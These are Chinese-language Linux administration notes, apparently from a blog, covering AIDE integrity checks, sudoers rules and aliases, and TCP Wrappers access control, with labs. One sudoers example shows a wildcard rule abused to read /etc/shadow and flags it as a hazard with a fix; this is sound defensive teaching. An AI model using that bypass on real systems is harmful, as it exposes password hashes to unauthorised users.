AIDE使用下列算法:sha1、md5、rmd160、tiger,以密文形式建立每个文件的校验码或散列号;
AIDE数据库不应该保存那些经常变动的文件信息,例如:日志文件、邮件、/proc文件系统、用户起始目录以及临时目录;
安装
    yum -y install aide
修改配置文件
    vim /etc/aide.conf(指定对哪些文件进行检测)
    /test/chameleon R
    /bin/ps R+a
    /usr/bin/crontab R+a
    /etc  PERMS
    !/etc/mtab   #“!”表示忽略这个文件的检查
    R=p+i+n+u+g+s+m+c+md5 权限+索引节点+链接数+用户+组+大小+最后一次修改时间+创建时间+md5校验值
    NORMAL = R+rmd60+sha256
初始化默认的AIDE的库:
    /usr/local/bin/aide --init  (aide --init  已经在PATH变量路径里、centos7)
生成检查数据库(建议初始数据库存放到安全的地方)
    cd /var/lib/aide
    mv aide.db.new.gz aide.db.gz
      生成的新文件是aide.db.new.gz,用于检测的文件名称必须是aide.db.gz
检测:
    /usr/local/bin/aide --check  (aide --check)
更新数据库
    aide --update
Paste_Image.png

更改身份

su 切换身份: su -l username -c 'command'
sudo
    来自sudo包
    man 5 sudoers
    sudo能够授权指定用户在指定主机上运行某些命令;如果未授权用户尝试使用sudo,会提示联系管理员;
    sudo可以提供日志,记录每个用户使用sudo操作;
    sudo为系统管理员提供配置文件,允许系统管理员集中地管理用户的使用权限和使用的主机;
    sudo使用时间戳文件来完成类似“检票”的系统,默认存活期为5分钟的“入场券”;
    通过visudo命令编辑配置文件,具有语法检查功能(=vi /etc/sudoers)
        visudo -c 检查语法
        export EDITOR=vim  有颜色,临时生效,家目录——自己生效,/etc/profile.d——全局生效
        visudo处理文件,其权限自动被更改
配置文件:/etc/sudoers, /etc/sudoers.d/
时间戳文件:/var/db/sudo
日志文件:/var/log/secure
配置文件支持使用通配符glob:
    ?:任意单一字符
    * :匹配任意长度字符
    [wxc]:匹配其中一个字符
    [!wxc]:除了这三个字符的其它字符
    \x : 转义
    [[alpha]]:字母  示例:/bin/ls [[alpha]]*
配置文件规则有两类;
    1、别名定义:不是必须的
    2、授权规则:必须的
授权规则格式:
    用户 登入主机=(代表用户) 命令
示例:
    root ALL=(ALL) ALL
格式说明:
    user: 运行命令者的身份
    host: 通过哪些主机
    (runas):以哪个用户的身份
    command: 运行哪些命令
别名
Users和runas:
    username
    #uid
    %group_name
    %#gid
    user_alias|runas_alias
host:
    ip或hostname
    network(/netmask)
    host_alias
command:
    command name
    directory(如:/sbin/代表可以执行此目录下的所有命令)
    sudoedit(授权用户可以编辑/etc/sudoers文件,不安全)
    cmnd_alias
别名有四种类型:User_Alias, Runas_Alias, Host_Alias ,Cmnd_Alias
别名格式:[A-Z]([A-Z][0-9]_)*  必须大写字母开头
别名定义:Alias_Type NAME1 = item1,item2,item3 : NAME2 = item4,item5
vim /etc/sudoers;此文件是只读,更改此文件,退出需要加wq!;
    第一次执行"sudo+cmd",需要输入自己的口令
cd /etc/sudoers.d/; vim test; 可以把需要设置的文件放在目录下,利于排错;

示例1:
    student ALL=(ALL) ALL
    %wheel ALL=(ALL) ALL
示例2:
    student ALL=(root) /sbin/pidof,/sbin/ifconfig,/bin/mount,/bin/umount(代表root用户执行命令pidof/ifconfig/mount/umount)
    %wheel ALL=(ALL) NOPASSWD: ALL(第一次执行命令,不用输入自己的口令)
        sudo mount /dev/sr0 /mnt  代表root用户挂载光盘
        sudo cat /etc/passwd
        getent group wheel  查看组中成员
        groupmems -a feng -g wheel  把feng加入此组
        groupmems -l -g wheel  查看组中成员
示例3
    User_Alias NETADMIN = netuser1,netuser2
    Cmnd_Alias NETCMD = /usr/sbin/ip
    NETADMIN ALL=(root) NETCMD
示例4
    User_Alias SYSADER=feng,fgq,%admins(组)
    User_Alias DISKADER=tom
    Host_Alias SERS=www.fgq.com,172.16.0.0/24
    Runas_Alias OP=root
    Cmnd_Alias SYDCMD=/bin/chown,/bin/chmod
    Cmnd_Alias DSKCMD=/sbin/parted,/sbin/fdisk
    SYSADER SERS = SYDCMD,DSKCMD(括号没有写,就代表任何人)
    DISKADER ALL=(OP) DSKCMD
示例4
    User_Alias ADMINUSER = adminuser1,adminuser2
    Cmnd_Alias ADMINCMD = /usr/sbin/useradd, /usr/sbin/usermod,/usr/bin/passwd [a-zA-Z]*(更改口令的用户名),!/usr/bin/passwd root(不能更改root口令)
    ADMINUSER ALL=(root) NOPASSWD:ADMINCMD,PASSWD:/usr/sbin/userdel
示例5
    Defaults:feng  runas_default=tom
    feng ALL=(tom,jerry) ALL
        sudo -u jerry cmd  代表jerry
        sudo cmd  代表tom次数多,就设置tom为默认;
示例6
    feng 192.168.175.136,192.168.175.138=(root) /usr/sbin/,!/usr/sbin/useradd
示例7
    feng ALL=(ALL) /bin/cat /var/log/messages*
        sudo cat /var/log/messages /etc/shadow  (安全隐患)
    解决此隐患
        feng ALL=(ALL) /bin/cat /var/log/messages*,!/bin/cat /var/log/messages* *
sudo命令
#ls -l /usr/bin/sudo
sudo -i -u wang  切换身份
sudo [-u user] COMMAND
    -V  显示版本信息等配置信息
    -u user  默认为root
    -l/-ll  列出用户在主机上可用的和被禁止的命令(格式不同)
    -v  再延长密码有效期限5分钟,更新时间戳
    -k  清除时间戳(1970-01-01),下次需要重新输密码
    -K  与-k类似,还要删除时间戳文件
    -b  在后台执行指令
    -p  改变询问密码的提示符号
      示例:-p "password on %h for user %p:"

TCP_Wrappers

介绍
工作在第四层(传输层)的TCP协议
对有状态连接的特定服务进行安全检测并实现访问控制
以库文件形式实现
某进程是否接受libwrap的控制取决于发起此进程的程序在编译时是否针对libwrap进行编译的
判断服务程序是否能够由tcp_wrapper进行访问控制的方法:
    ldd /PATH/TO/PROGRAM | grep libwrap.so
    strings PATH/TO/PROGRAM | grep libwrap.so
    ldd `which vsftpd`(:21)
centos7
    rpm -ql telnet-server; telnet@.server; telnet.socket
    systemctl start telnet.socket
centos6
    xinetd服务监管telnet(:23)
使用
配置文件:/etc/hosts.allow, /etc/hosts.deny
帮助参考:man 5 hosts_access, man 5 hosts_options
检查顺序:hosts.allow, hosts.deny(默认允许)
    注意:一旦前面规则匹配,直接生效,将不再继续
基本语法:
    daemon_list@host: client_list [ :options :option… ]
daemon_list@host格式
    单个应用程序的二进制文件名,而非服务名,例如vsftpd
    以逗号或空格分隔的应用程序文件名列表,如:sshd,vsftpd
    ALL表示所有接受tcp_wrapper控制的服务程序
    主机有多个IP,可用@hostIP来实现控制
        如:in.telnetd@192.168.0.254
客户端Client_list格式
    以逗号或空格分隔的客户端列表
    基于IP地址:192.168.10.1  192.168.1.
    基于主机名:www.magedu.com  .magedu.com 较少用
    基于网络/掩码:192.168.0.0/255.255.255.0
    基于net/prefixlen: 192.168.1.0/24(CentOS7)
    基于网络组(NIS 域):@mynetwork
    内置ACL:ALL,LOCAL,KNOWN,UNKNOWN,PARANOID(man 5 hosts_access)
EXCEPT用法:
    示例:vsftpd: 172.16. EXCEPT 172.16.100.0/24 EXCEPT 172.16.100.1
      放在/etc/hosts.allow文件里,表示含义:
          vsftp服务——172.16可用,172.16.100.1可用,172.16.100.0/24不可用
示例
示例:只允许192.168.1.0/24的主机访问sshd
    vim /etc/hosts.allow
        sshd: 192.168.1.0
    vim /etc/hosts.deny
        sshd: ALL
    更改之后,马上生效
示例:只允许192.168.1.0/24的主机访问telnet和vsftpd服务
    vim /etc/hosts.allow
        vsftpd,in.telnetd: 192.168.1.0
    vim /etc/hosts.deny
        vsftpd,in.telnetd: ALL
[:options]选项
帮助:man 5 hosts_options
    deny 主要用在/etc/hosts.allow定义“拒绝”规则
        如:vsftpd: 172.16. :deny
    allow 主要用在/etc/hosts.deny定义“允许”规则
        如:vsftpd: 172.16. :allow
    spawn 启动一个外部程序完成执行的操作
    twist 实际动作是拒绝访问,使用指定的操作替换当前服务,标准I/O和ERROR发送到客户端,默认至/dev/null
测试工具:
    tcpdmatch [-d] daemon[@host] client
      -d  测试当前目录下的hosts.allow和hosts.deny

示例
    sshd: ALL :spawn echo "$(date) login attempt from %c to %s,%d" >>/var/log/sshd.log
    说明:
        在/etc/hosts.allow中添加,允许登录,并记录日志
        在/etc/hosts.deny中添加,拒绝登录,并记录日志
        %c 客户端信息
        %s 服务器端信息
        %d 服务名
        %p 守护进程的PID
    vsftpd: 172.16. :twist /bin/echo "connection prohibited"
实验1
centos7
    yum -y install sshd; iptables -F
    vim /etc/hosts.allow
    sshd: ALL :spawn echo "$(date) login attempt from %c to %s,%d" >>/var/log/sshd.log
    cat /var/log/sshd.log  (当其他主机访问centos7的ip时,此文件自动生成)
centos6
    ssh ip(centos7)

实验2
centos7
    yum -y install vsftp
    vim /etc/hosts.allow
    vsftpd,sshd: 172.16. :twist /bin/echo "connection prohibited"
centos6
    ssh ip(centos7); ftp ip(centos7)
练习

仅开放本机两个IP地址中的一个地址,172.16.0.X上绑定的sshd和vsftpd服务给172.16.0.0/16网络中除了172.16.0.0/24网络中的主机之外的所有主机,但允许172.16.0.200访问,每次的用户访问都要记录于日志文件中,注:其中X为学号;


编写脚本/root/bin/checkip.sh,每5分钟检查一次,如果发现通过ssh登录失败次数超过10次,自动将此远程IP放入Tcp Wrapper的黑名单中予以禁止防问;


相关文章

  • 19-加密和安全

    本章内容 墨菲定律 安全机制 安全 安全设计基本原则 安全算法 对称加密算法 非对称加密算法 非对称加密 RSA和...

  • 加密和安全

    加密算法 对称加密算法 加密和解密使用同一个密钥 DES、3DES、AES、Blowfish、Twofish、ID...

  • 加密和安全

    1 安全机制 安全攻击: STRIDE 常用的安全算法 对称加密算法 非对称加密算法 单向算法 CA和证书 安全协...

  • Android安全加密:数字签名和数字证书

    Android安全加密专题文章索引 Android安全加密:对称加密 Android安全加密:非对称加密 Andr...

  • Android安全加密:对称加密

    Android安全加密专题文章索引 Android安全加密:对称加密 Android安全加密:非对称加密 Andr...

  • Android安全加密:非对称加密

    Android安全加密专题文章索引 Android安全加密:对称加密 Android安全加密:非对称加密 Andr...

  • Android安全加密:消息摘要Message Digest

    Android安全加密专题文章索引 Android安全加密:对称加密 Android安全加密:非对称加密 Andr...

  • Android安全加密:Https编程

    Android安全加密专题文章索引 Android安全加密:对称加密 Android安全加密:非对称加密 Andr...

  • DES加密

    知识补充: 数据安全包含通道加密https和上传数据加密全问题(一些算法加密,对称加密和非对称加密)。 ...

  • iOS安全之数字证书和安全机制

    iOS安全之数字证书和安全机制 非对称加密和摘要 非对称加密就是指加密密钥和解密密钥是不同的,而且加密密钥和解密密...

网友评论

    本文标题:安全和加密

    本文链接:https://www.haomeiwen.com/subject/hzzohxtx.html